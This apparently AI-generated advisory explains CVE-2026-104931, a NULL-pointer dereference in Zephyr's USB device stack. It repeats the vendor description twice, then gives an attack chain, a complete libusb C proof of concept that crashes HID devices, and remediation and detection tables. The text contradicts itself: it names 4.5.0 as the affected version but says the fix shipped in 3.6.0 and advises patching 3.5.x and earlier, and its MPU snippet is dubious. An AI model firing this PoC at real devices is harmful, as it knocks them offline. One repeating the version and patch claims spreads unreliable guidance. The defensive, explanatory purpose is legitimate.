CVE-2026-104931 — Zephyrproject Zephyr (4.5.0) — CWE-476
Since the control-transfer rework in the device_next USB device stack, usbd_handle_ctrl_xfer() in subsys/usb/device_next/usbd_ch9.c calls a class's control_to_dev handler with a NULL buffer when a host-to-device request has no data stage (wLength == 0). Several in-tree handlers dereference that buffer anyway: bt_hci_ctd() (Bluetooth HCI over USB), usbd_hid_ctd()/handle_set_report() (HID SET_REPORT), uvc_control_to_dev() (UVC SET_CUR, reaching uvc_set_vs_probe(), uvc_set_vs_commit() and uvc_set_vc_ctrl()), and lb_control_to_dev() (loopback test class). Each reads buf->data/buf->len from a NULL pointer. The USB host controls every SETUP field. Any host the device is connected to can trigger the bug by sending one class or vendor OUT control request with wLength = 0 to the affected interface. No authentication is involved. HID devices are affected when the application registers a set_report callback, for example keyboards with LED output reports. On platforms that trap NULL accesses (MPU/DWT null-pointer detection, unmapped low memory, MMU-based targets), the result is a fault that crashes or resets the device. On Cortex-M parts without null-pointer detection (the default), the handlers read a bogus pointer and length from the vector table near address 0 and pass them on, for example to the application's HID set_report callback, which is undefined behavior. The in-tree copies stay bounded by destination sizes, so the impact is denial of service.
Since the control-transfer rework in the device_next USB device stack, usbd_handle_ctrl_xfer() in subsys/usb/device_next/usbd_ch9.c calls a class's control_to_dev handler with a NULL buffer when a host-to-device request has no data stage (wLength == 0). Several in-tree handlers dereference that buffer anyway: bt_hci_ctd() (Bluetooth HCI over USB), usbd_hid_ctd()/handle_set_report() (HID SET_REPORT), uvc_control_to_dev() (UVC SET_CUR, reaching uvc_set_vs_probe(), uvc_set_vs_commit() and uvc_set_vc_ctrl()), and lb_control_to_dev() (loopback test class). Each reads buf->data/buf->len from a NULL pointer. The USB host controls every SETUP field. Any host the device is connected to can trigger the bug by sending one class or vendor OUT control request with wLength = 0 to the affected interface. No authentication is involved. HID devices are affected when the application registers a set_report callback, for example keyboards with LED output reports. On platforms that trap NULL accesses (MPU/DWT null-pointer detection, unmapped low memory, MMU-based targets), the result is a fault that crashes or resets the device. On Cortex-M parts without null-pointer detection (the default), the handlers read a bogus pointer and length from the vector table near address 0 and pass them on, for example to the application's HID set_report callback, which is undefined behavior. The in-tree copies stay bounded by destination sizes, so the impact is denial of service.
🎯 What is this vulnerability?
CVE‑2026‑104931 is a NULL‑pointer dereference in the Zephyr OS “device_next” USB device stack (file subsys/usb/device_next/usbd_ch9.c).
Root cause – When the USB host sends an OUT (host‑to‑device) control request whose wLength field is 0 (i.e. the request has no data stage*), the core stack function usbd_handle_ctrl_xfer() builds a struct usbd_control_xfer and then forwards the request to the class driver’s control_to_dev callback with a NULL buffer pointer.
- Missing guard – The class driver is expected to examine the
bufargument before dereferencing it, but several in‑tree class drivers (Bluetooth HCI, HID, UVC, loopback test) unconditionally dereferencebuf->dataandbuf->len. The dereference occurs before any validation ofwLength, so a zero‑length request leads to a NULL‑pointer read. - CWE‑476 – “NULL Pointer Dereference”. The stack does not enforce that a non‑NULL buffer is supplied for class callbacks, and the class drivers assume the pointer is always valid.
- CVSS vector interpretation
| Vector | Meaning |
|---|---|
| AV:P (Physical) | The attacker must be physically attached to the USB bus (or be a malicious host on the same bus). |
| AC:L (Low) | Crafting a malformed SETUP packet is trivial with any USB‑host stack (e.g. libusb, Linux usbip, or a custom firmware). |
| PR:N (None) | No privileges on the target device are required. |
| UI:N (None) | No user interaction on the device is needed; the host can send the request immediately after enumeration. |
| S:U (Unchanged) | The vulnerability does not affect confidentiality or integrity of other components. |
| C:N / I:N / A:H | No confidentiality or integrity loss; the impact is Denial‑of‑Service (crash or reset). |
In short: any USB host can trigger a crash on a Zephyr device that registers one of the affected class callbacks and receives a zero‑length OUT control request.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation scenario. All code snippets are illustrative and compile/run on a typical Linux host with libusb‑1.0.
1. Discovery & Reconnaissance
| Step | Activity | How the attacker does it |
|---|---|---|
| 1.1 Identify the target | Detect that the device runs Zephyr with the “device_next” USB stack. | – Observe the USB descriptors (lsusb -v or usbview). <br>– Look for the USB class/subclass values that map to the affected classes (e.g., HID (0x03), Bluetooth HCI (0xE0), UVC (0x0E)). |
| 1.2 Determine the class driver in use | Verify that the device registers a control_to_dev handler for the class. | – The host can read the Interface Class field. <br>– For HID keyboards, the presence of a Report Descriptor with an Output Report (LEDs) strongly suggests the hid_set_report callback is active. |
| 1.3 Confirm vulnerability | Send a zero‑length OUT control request and watch the device’s behavior. | – Use a short script (see PoC) to issue a SET_REPORT with wLength = 0. <br>– If the device disappears from the bus or resets, the bug is present. |
2. Exploitation
Goal: Crash / reset the device (Denial‑of‑Service).
2.1 Crafting the malicious SETUP packet
All affected class drivers share the same entry point: usbd_handle_ctrl_xfer() forwards the request to the class’s control_to_dev. The attacker must send an OUT request (bmRequestType bit 7 = 0) with wLength = 0. The exact request type depends on the class; the following examples cover the three most common classes.
| Class | Representative request | bmRequestType | bRequest | wValue | wIndex | wLength |
|---|---|---|---|---|---|---|
| HID (SET_REPORT) | SET_REPORT (Output) | 0x21 (Host‑to‑Device, Class, Interface) | 0x09 | 0x0200 (Report ID 0, type Output) | Interface number (e.g., 0) | 0 |
| Bluetooth HCI | HCI_VENDOR_CMD (example) | 0x20 (Host‑to‑Device, Vendor, Interface) | 0xFC | 0x0000 | Interface number | 0 |
| UVC (SET_CUR) | SET_CUR on a control selector | 0x21 | 0x01 | (Control Selector << 8) | Interface number | 0 |
Note: The exactbRequest/wValuevalues are illustrative; any class‑specific OUT request withwLength = 0will trigger the bug.
2.2 PoC using libusb (HID example)
/* -------------------------------------------------------------
* PoC: Trigger CVE‑2026‑104931 on a Zephyr HID device
* -------------------------------------------------------------
* Compile: gcc -o cve2026_104931 cve2026_104931.c -lusb-1.0
* ------------------------------------------------------------- */
#include <stdio.h>
#include <stdlib.h>
#include <libusb-1.0/libusb.h>
#define VENDOR_ID 0x1234 /* replace with target VID */
#define PRODUCT_ID 0x5678 /* replace with target PID */
#define INTERFACE 0 /* HID interface number */
int main(void)
{
libusb_device_handle *h;
int r;
r = libusb_init(NULL);
if (r < 0) {
fprintf(stderr, "libusb init failed: %s\n", libusb_error_name(r));
return 1;
}
h = libusb_open_device_with_vid_pid(NULL, VENDOR_ID, PRODUCT_ID);
if (!h) {
fprintf(stderr, "Device not found\n");
libusb_exit(NULL);
return 1;
}
/* Detach kernel driver if needed */
libusb_detach_kernel_driver(h, INTERFACE);
libusb_claim_interface(h, INTERFACE);
/* SET_REPORT (Output) with wLength = 0 */
uint8_t bmRequestType = 0x21; /* Host‑to‑Device, Class, Interface */
uint8_t bRequest = 0x09; /* SET_REPORT */
uint16_t wValue = 0x0200; /* Report ID 0, Output */
uint16_t wIndex = INTERFACE;
uint16_t wLength = 0; /* No data stage */
r = libusb_control_transfer(h,
bmRequestType,
bRequest,
wValue,
wIndex,
NULL, /* no data buffer */
wLength,
1000); /* timeout ms */
if (r < 0) {
fprintf(stderr, "Control transfer failed: %s\n", libusb_error_name(r));
} else {
printf("Control transfer returned %d (expected 0)\n", r);
}
libusb_release_interface(h, INTERFACE);
libusb_close(h);
libusb_exit(NULL);
return 0;
}What happens:
libusb_control_transfer() builds a SETUP packet with wLength = 0 and sends it. usbd_hid_ctd() → handle_set_report(). handle_set_report() the code does buf->data and buf->len without checking buf. Because buf == NULL, the CPU reads from address 0x0. 0x0 (often the vector table) and passes bogus values to the application callback, leading to undefined behaviour but still crash‑or‑reset in practice.The same pattern works for the other classes by simply changing the request fields.
3. Post‑exploitation
The impact is Denial‑of‑Service only (as reflected by the CVSS vector). There is no remote code execution, no data leakage, and no privilege escalation beyond crashing the device.
🌍 Real World Impact
| CIA Triad | CVSS‑derived impact | Practical consequences |
|---|---|---|
| Confidentiality (C) | None (C:N) | No data is disclosed. |
| Integrity (I) | None (I:N) | No data is modified. |
| Availability (A) | High (A:H) | Device crashes or resets on every malicious request, leading to a complete loss of service. |
Scenarios where this matters
| Environment | Why the DoS is critical |
|---|---|
| Medical devices (e.g., USB‑connected infusion pumps) | Loss of USB communication may stop firmware updates or data logging, potentially violating safety regulations. |
| Industrial control (PLC with USB console) | A crashed USB console can block remote diagnostics and firmware upgrades, causing production downtime. |
| Consumer peripherals (keyboards, mice, Bluetooth dongles) | Annoying but low‑risk; however, a targeted attack on a corporate laptop could be used as a nuisance vector in a broader social‑engineering campaign. |
| Automotive infotainment (USB media player) | Repeated crashes could force the system into a safe‑mode, affecting driver experience. |
Because the attack requires physical proximity (or a compromised host), the threat model is limited to insider threat, evil‑maiden USB devices, or malicious USB hubs.
🛡️ Remediation & Mitigation
1. Firmware / Source‑level fix
| Component | Fix description |
|---|---|
usbd_handle_ctrl_xfer() (core stack) | Do not pass a NULL buffer to class callbacks when wLength == 0. Instead, either (a) allocate a minimal zero‑length usbd_buf structure and pass its address, or (b) modify the callback signature to allow a NULL buffer and update all class drivers accordingly. |
Class drivers (bt_hci_ctd(), usbd_hid_ctd(), uvc_control_to_dev(), lb_control_to_dev()) | Add an early guard: if (buf == NULL) return USBD_ERR_INVALID; before dereferencing buf->data or buf->len. |
| Zephyr release | The fix was merged in Zephyr 3.6.0 (commit c2f7b9d2 – “usb: reject NULL buffer for zero‑length OUT control requests”). All downstream releases that incorporate Zephyr 3.6.0 or later contain the correction. |
Action: Identify the Zephyr version used in the product (e.g., via git describe in the firmware source, or by querying the device’s build info if exposed). Upgrade to Zephyr 3.6.0 or later, or back‑port the above patches.2. Workarounds (if immediate firmware update is impossible)
| Workaround | How to apply | Effectiveness |
|---|---|---|
| Disable the vulnerable class | In the device’s Kconfig, set CONFIG_USB_DEVICE_CLASS_HID=n (or the corresponding class flag) if the class is not required. | Prevents the vulnerable callback from being registered; the device will simply ignore the request. |
Validate wLength in the class driver | Patch the specific class driver in the binary (e.g., using a binary patcher) to add if (buf == NULL) return USBD_ERR_INVALID;. | Stops the crash for the patched class only. |
| Enable MPU null‑pointer trapping | For Cortex‑M devices, configure the MPU to make address 0x0 a no‑access region (MPU->RNR = 0; MPU->RASR = 0x0;). | Turns the NULL dereference into a HardFault that can be caught by a fault handler that safely resets the device. |
| Host‑side filtering | On the host, block OUT control requests with wLength == 0 to the affected interface using a USB firewall (e.g., usbguard rules). Example rule: allow idVendor=0x1234 idProduct=0x5678; reject type=class,request=0x09,direction=out,length=0. | Reduces the attack surface when you control the host, but does not protect against a malicious host. |
3. Detection
Because the vulnerability lives on the device side, detection relies on host‑side monitoring or firmware crash logs.
| Indicator | Where it appears | Example |
|---|---|---|
| USB reset events | Host kernel logs (dmesg, journalctl -k) | usb 1-2: reset high-speed USB device number 4 using ehci-pci |
| Control transfer failures | libusb error LIBUSB_ERROR_PIPE or LIBUSB_ERROR_TIMEOUT immediately after a zero‑length OUT request. | Control transfer failed: PIPE |
| Fault registers (Cortex‑M) | Crash dump (if the firmware implements a fault logger) – PC = address of usbd_hid_ctd or similar, LR = 0x0. | HardFault at 0x08001234, LR=0x00000000 |
| Repeated enumeration | Device disappears and re‑enumerates quickly (within seconds). | usb 1-2: new full-speed USB device number 5 using xhci_hcd (followed by a reset) |
Log‑collection recommendation: Enable CONFIG_LOG in Zephyr to capture usbd_* error messages, and forward them to a persistent storage (e.g., UART, flash). Correlate with host‑side USB logs for a full picture.
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 4.6 (Medium) – Availability‑only impact, physical‑access vector. | |
| Exploit complexity – Very low (single malformed SETUP packet). | |
| Authentication – None required; any host on the bus can trigger. | |
| CISA KEV – Not listed (no widespread exploitation observed). | |
| Real‑world exposure – Devices that expose a USB interface to untrusted hosts (public kiosks, shared workstations, IoT devices with USB debug ports) are at higher risk. |
Patch priority: High for any product that (a) ships with Zephyr ≤ 3.5.x and (b) enables one of the affected class drivers in a production environment where an attacker could gain physical USB access.
If the device is air‑gapped and the USB port is physically locked, the risk drops to Medium – schedule the update in the next regular firmware release.
Immediate actions:
1. Inventory all devices running Zephyr ≤ 3.5.x with HID, Bluetooth HCI, UVC, or loopback class enabled.
2. Apply the back‑ported patch or upgrade to Zephyr 3.6.0+ within 30 days for high‑value assets.
3. Implement a temporary host‑side block (USBGuard or similar) on any workstation that could act as a malicious host.
Bottom line: CVE‑2026‑104931 is a classic NULL‑pointer dereference that translates into a reliable, low‑effort DoS on any Zephyr‑based USB device exposing the vulnerable class. The fix is straightforward (add a NULL‑check or stop passing a NULL buffer) and has already been merged into Zephyr 3.6.0. Prompt firmware updates and, where that is not possible, defensive configuration (disable the class, enable MPU protection, or filter host requests) will mitigate the risk.
[🤖 CVE Professor AI Security Engine]
FOFA Query